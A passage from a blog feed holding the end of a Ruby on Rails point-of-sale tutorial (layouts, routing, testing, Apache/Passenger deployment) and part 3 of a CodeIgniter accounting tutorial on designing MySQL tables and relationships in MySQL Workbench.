<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image15.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb15.png" width="434" height="401" /></a> </p>
<h4>Global application layout</h4>
<p>If you’d like to change the layout globally for each model pages, then you will need to create a new file called app/views/layouts/application.html.erb, and delete&#160; all other layout files generated by the scaffold. You can copy from another layout file exists as a template, then do the layout adjustments on that file and rename it to application.html.erb.</p>
<p>Having only application.html.erb will make Rails to use that file as the layout for the application. So you have to delete all other layout files, otherwise Rails will use that file instead.</p>
<h4>The CSS, image, and Javascript files location</h4>
<p>On your application directory, there’s a directory named public. This is where we store all public resources, like CSS, images, and Javascript files.</p>
<p>Rails provides us with some helper functions to generate the proper path for accessing these things, for example image_tag() to access images on public/images, stylesheet_link_tag() to access CSS files, and javascript_include_tag() to access Javascript files.</p>
<p>&#160;</p>
<h2>The Default Welcome Page</h2>
<p>When pointing our browser to <a href="http://yourserver-ip:3000/">http://yourserver-ip:3000/</a> we will get the Ruby on Rails welcome page by default. We can change this default behaviour by editing the config/routes.rb file. Look at the map.root :controller =&gt; &quot;welcome&quot; line, and uncomment that line.</p>
<blockquote><p><font face="Courier"></font></p>
<p><font face="Courier">&#8230;</font></p>
<p><font face="Courier">map.root :controller =&gt; &quot;welcome&quot;</font> </p>
<p>&#8230;</p>
<p>&#160;</p>
</blockquote>
<p>It means that our application’s default controller is called welcome, which is not exist right now.</p>
<p>Next step, we need to delete public/index.html file.</p>
<blockquote><p><font face="Courier"># rm public/index.html</font></p>
<p><font face="Courier"></font></p>
</blockquote>
<p>&#160;</p>
<p>Then, we need to create that controller, simply by&#160; running script/generate again but this time with controller parameter and not scaffold as we have used before.</p>
<blockquote><p><font face="Courier"># ruby script/generate controller welcome index</font></p>
<p><font face="Courier"></font></p>
</blockquote>
<p>The command tells Rails to create for us a controller named welcome with a method index. Beside that Rails will also create a view file on app/views/welcome/index.html.erb that we can customize right away.</p>
<p>Let’s modify app/views/welcome/index.html.erb&#160; so that it will show us a main menu for our application :</p>
<blockquote><p><font face="Courier">&lt;h1&gt;Welcome to Simple POS&lt;/h1&gt; </font></p>
<p><font face="Courier">&lt;ul&gt;       <br />&#160;&#160; &lt;li&gt;&lt;%= link_to &quot;Orders&quot; , orders_path %&gt;&lt;/li&gt;        <br />&#160;&#160; &lt;li&gt;&lt;%= link_to &quot;Manage Items&quot; , items_path %&gt;&lt;/li&gt;        <br />&lt;/ul&gt;</font></p>
</blockquote>
<p>Here we use another Rails helper function link_to() which will create a HTML &lt;a href&gt; tag, which will display a link text as specified by the first parameter, and will jump to the URL that we specified in it’s second parameter.</p>
<p>We also use orders_path and items_path, which are the helper functions that is automatically generated by the scaffolding process to go to the index page (listing) of the order and item data.</p>
<p>The link can also be referred as these:</p>
<blockquote><p><font face="Courier">&#160;&#160; &lt;%= link_to &quot;Orders&quot; , :controller=&gt;&quot;orders&quot;, :action=&gt;&quot;index&quot; %&gt;</font></p>
<p><font face="Courier">       <br /></font></p>
</blockquote>
<p>&#160;</p>
<p>&#160;</p>
<h2>Testing the Application</h2>
<p>Rails provides us a test suite for testing out our application programmatically. This will make us easier to test all functionality of our application without testing it manually by entering data on the user interface pages.</p>
<p>For example, it we need to test the application functionalities, run this comman:</p>
<blockquote><p><font face="Courier New"># rake test:functionals</font></p>
<p><font face="Courier New"></font></p>
</blockquote>
<p>We can see the test results and&#160; will be notified if something not expected exists.</p>
<p>&#160;</p>
<h2>Deploying Into Apache Web Server</h2>
<p>Install modrails aka Passenger to be used by Apache web server:</p>
<pre>gem install passenger</pre>
<p>Then type:</p>
<pre><kbd>passenger-install-apache2-module</kbd></pre>
<p>Then follow the instructions on that script.</p>
<ul><kbd><font face="Verdana"></font></kbd></ul>
<p><kbd></kbd></p>
</p>
<h4>Deploying on name based virtual host:</h4>
<p>Add a virtual host entry to your Apache configuration file. Make sure that the following conditions are met:</p>
<ul>
<li>The virtual host’s document root must point to your Ruby on Rails application’s <em>public </em>folder. </li>
<li>The Apache per-directory permissions must allow access to this folder. </li>
<li>MultiViews must be disabled for this folder. </li>
</ul>
<p>For example:</p>
<pre><tt>&lt;VirtualHost *:80&gt;
    ServerName <a href="http://www.simpleblog.com">www.simpleblog.com
</a>    DocumentRoot /opt/rubyapp/simpleblog/public
    &lt;Directory /opt/rubyapp/simpleblog/public&gt;
        Allow from all
        Options -MultiViews
    &lt;/Directory&gt;
&lt;/VirtualHost&gt;</tt></pre>
<p>You may also need to tweak your file/folder permissions. Make sure that the following folders are readable and executable by Apache:</p>
<ul>
<li>
<p>this <em>public</em> folder. </p>
</li>
<li>
<p>the application’s <em>config</em> folder. </p>
</li>
<li>
<p>all parent folders. That is, /opt/rubyapp/simpleblog , /opt and /opt/rubyapp/must also be readable and executable by Apache. </p>
<p>Then restart Apache. The application has now been deployed.</p>
</li>
</ul>
<h4>Deploying to a sub URI:</h4>
<p>Suppose that you already have a virtual host:</p>
<pre><tt>&lt;VirtualHost *:80&gt;
    ServerName <a href="http://www.yoursite.com">www.yoursite.com
</a>    DocumentRoot /www/yoursite
    &lt;Directory /www/yoursite&gt;
        Allow from all
    &lt;/Directory&gt;
&lt;/VirtualHost&gt;</tt></pre>
<p>And you want your Ruby on Rails application to be accessible from the URL <em><a href="http://www.yoursite.com/simpleblog">http://www.yoursite.com/simpleblog</a></em>.</p>
<p>To do this, make a symlink from your Ruby on Rails application’s <em>public</em> folder to a directory in the document root. For example:</p>
<pre><tt>ln -s /opt/rubyapp/simpleblog/public /www/yoursite/simpleblog</tt></pre>
<p>Next, add a <a href="http://www.modrails.com/documentation/Users%20guide%20Apache.html#RailsBaseURI">RailsBaseURI</a> option to the virtual host configuration, and also make sure that:</p>
<ul>
<li>
<p>The Apache per-directory permissions allow access to this folder. </p>
</li>
<li>
<p>MultiViews is disabled for this folder. </p>
</li>
</ul>
<p>For example (notice the lines in bold):</p>
<pre><tt>&lt;VirtualHost *:80&gt;
    ServerName <a href="http://www.yoursite.nl">www.yoursite.nl
</a>    DocumentRoot /www/yoursite
    &lt;Directory /www/yoursite&gt;
        Allow from all
    &lt;/Directory&gt;

<strong>    RailsBaseURI /simpleblog
    &lt;Directory /www/yoursite/simpleblog&gt;
        Options -MultiViews
    &lt;/Directory&gt;</strong>
&lt;/VirtualHost&gt;</tt></pre>
<p>Then restart Apache. The application has now been deployed.</p>
<p>&#160;</p>
<h4>Deploying to a port based virtual host</h4>
<p>What if you want to access your application using a port number, like <a href="http://yoursite.com:9000">http://yoursite.com:9000</a>. To do this, use Apache’s port based virtual host.</p>
<p>Add Listen directive to ports.conf or httpd.conf:</p>
<blockquote>
<p><font size="2" face="Courier New">Listen 9000</font></p>
<p>&#160;</p>
</blockquote>
<p>&#160;</p>
<p>Then add a virtual host entry to your Apache configuration file. Make sure that the following conditions are met: </p>
<ul>
<li>The virtual host’s document root must point to your Ruby on Rails application’s <em>public </em>folder. </li>
<li>The Apache per-directory permissions must allow access to this folder. </li>
<li>MultiViews must be disabled for this folder. </li>
</ul>
<ul>For example:</ul>
<blockquote>
<p><font size="2" face="Courier New">&lt;VirtualHost *:9000&gt;<br />
      <br />&#160;&#160; ServerName <a href="http://www.yoursite.com">www.yoursite.com</a> </p>
<p>&#160;&#160;&#160;&#160;&#160; DocumentRoot /opt/rubyapp/simpleblog/public </p>
<p>&#160;&#160;&#160;&#160;&#160; &lt;Directory /opt/rubyapp/simpleblog/public&gt; </p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; AllowOverride all </p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; Options -MultiViews </p>
<p>&#160;&#160;&#160;&#160;&#160; &lt;/Directory&gt; </p>
<p>&lt;/VirtualHost&gt;</font></p>
</blockquote>
<ul></ul>
<ul>Also, delete or comment out the NameVirtualHost * directive on your httpd.conf.</ul>
<p>Then restart Apache. The application has now been deployed.</p>
<h3></h3>
<p>&#160;</p>
<h2>Resources</h2>
<ul>
<li><a href="http://rubyonrails.org">http://rubyonrails.org</a> </li>
<li><a href="http://www.railscasts.com">http://www.railscasts.com</a> </li>
<li><a title="http://www.modrails.com" href="http://www.modrails.com">http://www.modrails.com</a> </li>
</ul>
<ul></ul>
<ul></ul>
<p>Akhmad Daniel Sembiring<br />
  <br />akhmad.daniel[at]gmail.com </p>
<p>vitraining.com -CEO</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:11bdb8ed-6bee-4ac5-99ae-eb0488fae311" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/Developing" rel="tag">Developing</a>,<a href="http://technorati.com/tags/Web+Applications" rel="tag">Web Applications</a>,<a href="http://technorati.com/tags/Ruby+on+Rails" rel="tag">Ruby on Rails</a>,<a href="http://technorati.com/tags/Debian+5" rel="tag">Debian 5</a>,<a href="http://technorati.com/tags/Point+of+Sales" rel="tag">Point of Sales</a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/12/netbeans-ide-6-8-released/" rel="bookmark">NetBeans IDE 6.8 Released</a></li><li><a href="http://www.dijexi.com/2010/03/show-the-list-of-installed-packages-on-ubuntu-or-debian/" rel="bookmark">Show the List of Installed Packages on Ubuntu or Debian</a></li><li><a href="http://www.dijexi.com/2010/11/engaging-customers-with-facebook-applications/" rel="bookmark">Engaging Customers with Facebook Applications</a></li><li><a href="http://www.dijexi.com/2009/07/best-free-development-tools-and-editors-software/" rel="bookmark">Best Free Development Tools and Editors Software</a></li><li><a href="http://www.dijexi.com/2010/06/how-to-use-tor-project-anonymous-ip-with-curl-php-on-linux/" rel="bookmark">How to Use Tor Project Anonymous IP with Curl PHP on Linux</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2010%2F09%2Fdeveloping-web-based-pos-application-using-ruby-on-rails-on-debian-5%2F&amp;linkname=Developing%20Web%20Based%20POS%20Application%20Using%20Ruby%20on%20Rails%20on%20Debian%205"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2010/09/developing-web-based-pos-application-using-ruby-on-rails-on-debian-5/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>CodeIgniter Tutorial: [Creating Accounting Application] Part 3 ER Diagram and Creating Database</title>
		<link>http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/</link>
		<comments>http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/#comments</comments>
		<pubDate>Mon, 10 Aug 2009 01:05:00 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[CodeIgniter]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[accounting system]]></category>
		<category><![CDATA[CodeIgniter tutorial]]></category>
		<category><![CDATA[ERD]]></category>
		<category><![CDATA[php tutorial]]></category>
		<category><![CDATA[UML]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/</guid>
		<description><![CDATA[In the previous parts of this tutorial series we have discussed how to setup the application environment using XAMPP and CodeIgniter, and the application specification. We have done the analysis and design using UML use case and class diagram with free UML diagram tool StarUML. In this part, we will discuss the database design for [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>In the previous parts of this tutorial series we have discussed how to setup the application environment using XAMPP and CodeIgniter, and the application specification. We have done the analysis and design using <a href="http://en.wikipedia.org/wiki/Unified_Modeling_Language">UML</a> use case and <a href="http://en.wikipedia.org/wiki/Class_diagram">class diagram</a> with free UML diagram tool <a href="http://staruml.sourceforge.net/en/">StarUML</a>. </p>
<p>In this part, we will discuss the database design for our application. This database is needed to hold the data for our application.</p>
<p>We are going to draw the entity relationship diagram (ERD) using a free tool called <a href="http://dev.mysql.com/downloads/workbench/5.1.html">MySQL workbench</a>, formerly <a href="http://www.fabforce.net/dbdesigner4/downloads.php">fabForce ERD tools</a> for MySQL. Before continuing, please <a href="http://dev.mysql.com/downloads/workbench/5.1.html" target="_blank">download the program here</a> and install it to your computer.</p>
<p>At the end of the designing process, we will create our database structure directly to a MySQL server that can be used by our application.</p>
<p> <span id="more-1160"></span><br />
<h2>The Tables </h2>
<p>For the purpose of our application requirements and based on UML use case we defined before, here is a list of mandatory tables that we must create on the application’s database.</p>
<table border="0" cellspacing="0" cellpadding="2" width="500">
<tbody>
<tr>
<td valign="top" width="250">
<p align="center"><strong>Table name</strong></p>
</td>
<td valign="top" width="250">
<p align="center"><strong>Purpose</strong></p>
</td>
</tr>
<tr>
<td valign="top" width="250">coatype</td>
<td valign="top" width="250">store chart of account type data like assets, liability, equity, income, and cost</td>
</tr>
<tr>
<td valign="top" width="250">coa</td>
<td valign="top" width="250">store the actual chart of account data, should be multi level depth</td>
</tr>
<tr>
<td valign="top" width="250">cashbook</td>
<td valign="top" width="250">store the master cashbook document data</td>
</tr>
<tr>
<td valign="top" width="250">cashbook_detail</td>
<td valign="top" width="250">store the details cashbook document data</td>
</tr>
<tr>
<td valign="top" width="250">bankbook</td>
<td valign="top" width="250">store the master bankbook document data</td>
</tr>
<tr>
<td valign="top" width="250">bankbook_detail</td>
<td valign="top" width="250">store the details bankbook document data</td>
</tr>
<tr>
<td valign="top" width="250">journal</td>
<td valign="top" width="250">store the posted and unposted journal data for the purpose of accounting report generating process like balance sheet, income statement, and trial balance</td>
</tr>
<tr>
<td valign="top" width="250">&#160;</td>
<td valign="top" width="250">&#160;</td>
</tr>
<tr>
<td valign="top" width="250">&#160;</td>
<td valign="top" width="250">&#160;</td>
</tr>
</tbody>
</table>
<p>&#160;</p>
<h2>Creating Tables in MySQL Workbench</h2>
<p>Installing MySQL Workbench should not be a problem. I assumed that you already have done that. Now, run the program and you will see a blank workspace of MySQL model like this:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/08/Blankmysqlmodelonmysqlworkbench.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Blank mysql model on mysql workbench" border="0" alt="Blank mysql model on mysql workbench" src="http://www.dijexi.com/wp-content/uploads/2009/08/Blankmysqlmodelonmysqlworkbench_thumb.png" width="504" height="408" /></a> </p>
<p>Click on Add Diagram icon to create our first diagram. You will see a blank page for drawing our diagram like this:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/08/Blankdiagramonmysqlworkbench.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Blank diagram on mysql workbench" border="0" alt="Blank diagram on mysql workbench" src="http://www.dijexi.com/wp-content/uploads/2009/08/Blankdiagramonmysqlworkbench_thumb.png" width="504" height="408" /></a> </p>
<h3>Creating A New Table and Adding Fields</h3>
<p>Next, we need to draw a table. Click on the “Place a New Table” located on the left side of the blank diagram. Then place it on the middle of the blank page. After placing the table, you may resize it’s size so that we can see a tall rectangular like this:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/08/Placeanewtableonthepage.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Place a new table on the page" border="0" alt="Place a new table on the page" src="http://www.dijexi.com/wp-content/uploads/2009/08/Placeanewtableonthepage_thumb.png" width="366" height="456" /></a> </p>
<p>Double click on the table to add it’s columns. You will see a new pane at the bottom of the page consisting the table properties like this:</p>
<p>&#160;<a href="http://www.dijexi.com/wp-content/uploads/2009/08/Setthenewtablename.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Set the new table name" border="0" alt="Set the new table name" src="http://www.dijexi.com/wp-content/uploads/2009/08/Setthenewtablename_thumb.png" width="391" height="683" /></a> </p>
<p>On the pane, there’s a lot of tab on it’s bottom part. Click the “Table” where we can give our new table a name. Create our first table called “cashbook”. </p>
<p>Next we need to define the table columns. Click on the “Columns” tab. You will see the following:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/08/Setthefirstcolumnasprimarykey.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Set the first column as primary key" border="0" alt="Set the first column as primary key" src="http://www.dijexi.com/wp-content/uploads/2009/08/Setthefirstcolumnasprimarykey_thumb.png" width="504" height="462" /></a> </p>
<p>As you can see, the program automatically add a column called “idcashbook” which you can rename it. This column should be the table’s primary key, so we check on the NN (means not null), AI (auto increment), and Flags PRIMARY KEY. When we set it up, then the icon left to the column name will change to a yellow key icon.</p>
<p>Next, we need to add more column. To do that, double click the empty row below the first column. Enter “trxdate” as the column name and DATETIME as the type. Your table property should be like the following:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/08/Addinganewtablecolumn.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Adding a new table column" border="0" alt="Adding a new table column" src="http://www.dijexi.com/wp-content/uploads/2009/08/Addinganewtablecolumn_thumb.png" width="504" height="154" /></a> </p>
<p>Repeat the step of adding new field for the following new fields:</p>
<table border="0" cellspacing="0" cellpadding="2" width="500">
<tbody>
<tr>
<td valign="top" width="250">
<p align="center"><strong>Field Name</strong></p>
</td>
<td valign="top" width="250">
<p align="center"><strong>Type</strong></p>
</td>
</tr>
<tr>
<td valign="top" width="250">vounumber</td>
<td valign="top" width="250">VARCHAR(45)</td>
</tr>
<tr>
<td valign="top" width="250">doctype</td>
<td valign="top" width="250">VARCHAR(45)</td>
</tr>
<tr>
<td valign="top" width="250">amount</td>
<td valign="top" width="250">DECIMAL(20,2)</td>
</tr>
<tr>
<td valign="top" width="250">notes</td>
<td valign="top" width="250">VARCHAR(100)</td>
</tr>
<tr>
<td valign="top" width="250">posted</td>
<td valign="top" width="250">INT</td>
</tr>
</tbody>
</table>
<h3>Creating Other Tables </h3>
<p>Here is a list of tables with it’s description that we need to create for our application. Repeat the above steps to create every table listed below.</p>
<h4><u>Table cashbook (should have been created before) </u></h4>
<p>This is the master table of cashbook document. It has it’s detail records in cashbook_details table.</p>
<table border="0" cellspacing="0" cellpadding="2" width="503">
<tbody>
<tr>
<td valign="top" width="179">
<p align="center"><strong>Field Name</strong></p>
</td>
<td valign="top" width="174">
<p align="center"><strong>Type</strong></p>
</td>
<td valign="top" width="148">
<p align="center"><strong>Description</strong></p>
</td>
</tr>
<tr>
<td valign="top" width="179">idcashbook</td>
<td valign="top" width="174">INT (NOT NULL AI PK)</td>
<td valign="top" width="148">the table’s primary key, not null auto increment integer value</td>
</tr>
<tr>
<td valign="top" width="179">vounumber</td>
<td valign="top" width="174">VARCHAR(45)</td>
<td valign="top" width="148">the cashbook document number</td>
</tr>
<tr>
<td valign="top" width="179">doctype</td>
<td valign="top" width="174">VARCHAR(45)</td>
<td valign="top" width="148">the document type (cash out or receive)</td>
</tr>
<tr>
<td valign="top" width="179">amount</td>
<td valign="top" width="174">DECIMAL(20,2)</td>
<td valign="top" width="148">the document amount </td>
</tr>
<tr>
<td valign="top" width="179">notes</td>
<td valign="top" width="174">VARCHAR(100)</td>
<td valign="top" width="148">additional notes</td>
</tr>
<tr>
<td valign="top" width="179">posted</td>
<td valign="top" width="188">INT</td>
<td valign="top" width="187">whether this document is posted (1) or not (0)</td>
</tr>
</tbody>
</table>
<h4><u>Table cashbook_detail</u></h4>
<p>This is the detail records of table cashbook.</p>
<table border="0" cellspacing="0" cellpadding="2" width="500">
<tbody>
<tr>
<td valign="top" width="166">
<p align="center"><strong>Field Name</strong></p>
</td>
<td valign="top" width="166">
<p align="center"><strong>Type</strong></p>
</td>
<td valign="top" width="166">
<p align="center"><strong>Description</strong></p>
</td>
</tr>
<tr>
<td valign="top" width="166">idcashbookdetail</td>
<td valign="top" width="166">INT (NOT NULL AI PK)</td>
<td valign="top" width="166">the table’s primary key, not null, auto increment integer value</td>
</tr>
<tr>
<td valign="top" width="166">description</td>
<td valign="top" width="166">VARCHAR(100)</td>
<td valign="top" width="166">transaction description</td>
</tr>
<tr>
<td valign="top" width="166">amount</td>
<td valign="top" width="166">DECIMAL(20,2)</td>
<td valign="top" width="166">transaction amount</td>
</tr>
<tr>
<td valign="top" width="166">cashbook_idcashbook</td>
<td valign="top" width="166">INT NOT NULL (FK)</td>
<td valign="top" width="166">foreign key to cashbook table</td>
</tr>
</tbody>
</table>
<h4><u>Table bankbook</u></h4>
<p>This is the master table of bankbook document. It has it’s detail records in bankbook_details table.</p>
<table border="0" cellspacing="0" cellpadding="2" width="503">
<tbody>
<tr>
<td valign="top" width="179">
<p align="center"><strong>Field Name</strong></p>
</td>
<td valign="top" width="174">
<p align="center"><strong>Type</strong></p>
</td>
<td valign="top" width="148">
<p align="center"><strong>Description</strong></p>
</td>
</tr>
<tr>
<td valign="top" width="179">idbankbook</td>
<td valign="top" width="174">INT (NOT NULL AI PK)</td>
<td valign="top" width="148">the table’s primary key, not null auto increment integer value</td>
</tr>
<tr>
<td valign="top" width="179">vounumber</td>
<td valign="top" width="174">VARCHAR(45)</td>
<td valign="top" width="148">the bankbook document number</td>
</tr>
<tr>
<td valign="top" width="179">doctype</td>
<td valign="top" width="174">VARCHAR(45)</td>
<td valign="top" width="148">the document type (bank out or receive)</td>
</tr>
<tr>
<td valign="top" width="179">amount</td>
<td valign="top" width="174">DECIMAL(20,2)</td>
<td valign="top" width="148">the document amount </td>
</tr>
<tr>
<td valign="top" width="179">notes</td>
<td valign="top" width="174">VARCHAR(100)</td>
<td valign="top" width="148">additional notes</td>
</tr>
<tr>
<td valign="top" width="179">posted</td>
<td valign="top" width="188">INT</td>
<td valign="top" width="187">whether this document is posted (1) or not (0)</td>
</tr>
<tr>
<td valign="top" width="179">coa_idcoa</td>
<td valign="top" width="188">INT NOT NULL (FK)</td>
<td valign="top" width="187">foreign key to coa table</td>
</tr>
</tbody>
</table>
<h4><u>Table bankbook_detail</u></h4>
<p>This is the detail records of table bankbook.</p>
<table border="0" cellspacing="0" cellpadding="2" width="500">
<tbody>
<tr>
<td valign="top" width="166">
<p align="center"><strong>Field Name</strong></p>
</td>
<td valign="top" width="166">
<p align="center"><strong>Type</strong></p>
</td>
<td valign="top" width="166">
<p align="center"><strong>Description</strong></p>
</td>
</tr>
<tr>
<td valign="top" width="166">idcashbookdetail</td>
<td valign="top" width="166">INT (NOT NULL AI PK)</td>
<td valign="top" width="166">the table’s primary key, not null, auto increment integer value</td>
</tr>
<tr>
<td valign="top" width="166">description</td>
<td valign="top" width="166">VARCHAR(100)</td>
<td valign="top" width="166">transaction description</td>
</tr>
<tr>
<td valign="top" width="166">amount</td>
<td valign="top" width="166">DECIMAL(20,2)</td>
<td valign="top" width="166">transaction amount</td>
</tr>
<tr>
<td valign="top" width="166">cashbook_idcashbook</td>
<td valign="top" width="166">INT (FK)</td>
<td valign="top" width="166">foreign key to cashbook table</td>
</tr>
<tr>
<td valign="top" width="166">coa_idcoa</td>
<td valign="top" width="166">INT NOT NULL (FK)</td>
<td valign="top" width="166">foreign key to coa table</td>
</tr>
</tbody>
</table>
<h4>Table coa</h4>
<p>This table store the chart of account data. It will be referenced by cashbook_detail, bankbook_detail, and journal table.</p>
<table border="0" cellspacing="0" cellpadding="2" width="500">
<tbody>
<tr>
<td valign="top" width="166">
<p align="center"><strong>Field Name</strong></p>
</td>
<td valign="top" width="166">
<p align="center"><strong>Type</strong></p>
</td>
<td valign="top" width="166">
<p align="center"><strong>Description</strong></p>
</td>
</tr>
<tr>
<td valign="top" width="166">idcoa</td>
<td valign="top" width="166">INT (NOT NULL AI PK)</td>
<td valign="top" width="166">the table’s primary key, not null, auto increment integer value</td>
</tr>
<tr>
<td valign="top" width="166">description</td>
<td valign="top" width="166">VARCHAR(100)</td>
<td valign="top" width="166">the account description</td>
</tr>
<tr>
<td valign="top" width="166">code</td>
<td valign="top" width="166">VARCHAR(45)</td>
<td valign="top" width="166">the account code</td>
</tr>
<tr>
<td valign="top" width="166">begin_balance</td>
<td valign="top" width="166">DECIMAL(20,2)</td>
<td valign="top" width="166">beginning balance of the account</td>
</tr>
<tr>
<td valign="top" width="166">isheader</td>
<td valign="top" width="166">INT</td>
<td valign="top" width="166">whether this account is a header account(1) or a detail account(0)</td>
</tr>
<tr>
<td valign="top" width="166">idparent</td>
<td valign="top" width="166">INT </td>
<td valign="top" width="166">link to other account to identify it’s parent in chart of account structure</td>
</tr>
<tr>
<td valign="top" width="166">link</td>
<td valign="top" width="166">VARCHAR(45)</td>
<td valign="top" width="166">link to usage information of this account, for example “cash” or “bank” account</td>
</tr>
<tr>
<td valign="top" width="166">coatype_idcoatype</td>
<td valign="top" width="166">INT NOT NULL (FK)</td>
<td valign="top" width="166">foreign key to coatype table to identify what kind of account is this</td>
</tr>
</tbody>
</table>
<h4><u>Table coatype</u></h4>
<p>This table store the COA type</p>
<table border="0" cellspacing="0" cellpadding="2" width="500">
<tbody>
<tr>
<td valign="top" width="166">
<p align="center"><strong>Name</strong></p>
</td>
<td valign="top" width="166">
<p align="center"><strong>Type</strong></p>
</td>
<td valign="top" width="166">
<p align="center"><strong>Description</strong></p>
</td>
</tr>
<tr>
<td valign="top" width="166">idcoatype</td>
<td valign="top" width="166">INT (NOT NULL AI PK)</td>
<td valign="top" width="166">the table’s primary key, not null, auto increment integer value</td>
</tr>
<tr>
<td valign="top" width="166">code</td>
<td valign="top" width="166">VARCHAR(45)</td>
<td valign="top" width="166">the account type code</td>
</tr>
<tr>
<td valign="top" width="166">description</td>
<td valign="top" width="166">VARCHAR(100)</td>
<td valign="top" width="166">the account type description</td>
</tr>
</tbody>
</table>
<h4><u>Table journal</u></h4>
<p>This table store journal transactions generated by cashbook and bankbook transaction after being posted and manual journal transaction entered manually.</p>
<table border="0" cellspacing="0" cellpadding="2" width="500">
<tbody>
<tr>
<td valign="top" width="166">
<p align="center"><strong>Name</strong></p>
</td>
<td valign="top" width="166">
<p align="center"><strong>Type</strong></p>
</td>
<td valign="top" width="166">
<p align="center"><strong>Description</strong></p>
</td>
</tr>
<tr>
<td valign="top" width="166">idjournal</td>
<td valign="top" width="166">INT (NOT NULL AI PK)</td>
<td valign="top" width="166">the table’s primary key, not null, auto increment integer value</td>
</tr>
<tr>
<td valign="top" width="166">trxdate</td>
<td valign="top" width="166">DATETIME</td>
<td valign="top" width="166">transaction date</td>
</tr>
<tr>
<td valign="top" width="166">vounumber</td>
<td valign="top" width="166">VARCHAR(45)</td>
<td valign="top" width="166">the transaction document number</td>
</tr>
<tr>
<td valign="top" width="166">amount_db</td>
<td valign="top" width="166">DECIMAL(20,2)</td>
<td valign="top" width="166">debit amount</td>
</tr>
<tr>
<td valign="top" width="166">amount_cr</td>
<td valign="top" width="166">DECIMAL(20,2)</td>
<td valign="top" width="166">credit amount</td>
</tr>
<tr>
<td valign="top" width="166">description</td>
<td valign="top" width="166">VARCHAR(100)</td>
<td valign="top" width="166">transaction description</td>
</tr>
<tr>
<td valign="top" width="166">posted</td>
<td valign="top" width="166">INT</td>
<td valign="top" width="166">whether this transaction is posted (1) or not (0)</td>
</tr>
</tbody>
</table>
<p>&#160;</p>
<h2>Creating Relationships</h2>
<p>To create a relationship between two table in MySQL Workbench, simply click on the “Place a Relationship Using Existing Column” icon on the left side of the diagram. Then:</p>
<ol>
<li>set the FOREIGN KEY column on the referencing table, and </li>
<li>set the PRIMARY KEY column on the referenced table </li>
</ol>
<p>For example, to create a relationship between cashbook (the referenced table) and cashbook_detail (the referencing table): </p>
<p>1. Click “Place a Relationship Using Existing Column” icon </p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/08/Step1creatingrelationship.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Step 1 creating relationship" border="0" alt="Step 1 creating relationship" src="http://www.dijexi.com/wp-content/uploads/2009/08/Step1creatingrelationship_thumb.png" width="271" height="563" /></a> </p>
<p>2. click cashbook_idcashbook column on the cashbook_detail table and click “Pick Referenced Column” button</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/08/Step2creatingrelationship.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Step 2 creating relationship" border="0" alt="Step 2 creating relationship" src="http://www.dijexi.com/wp-content/uploads/2009/08/Step2creatingrelationship_thumb.png" width="458" height="546" /></a> </p>
<p>3. click idcashbook column on the cashbook table</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/08/Step3creatingrelationship.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Step 3 creating relationship" border="0" alt="Step 3 creating relationship" src="http://www.dijexi.com/wp-content/uploads/2009/08/Step3creatingrelationship_thumb.png" width="464" height="544" /></a> </p>
<p>A relationship line will be drawn between those two tables.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/08/Step4creatingrelationship.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Step 4 creating relationship" border="0" alt="Step 4 creating relationship" src="http://www.dijexi.com/wp-content/uploads/2009/08/Step4creatingrelationship_thumb.png" width="307" height="539" /></a> </p>
<p>&#160;</p>
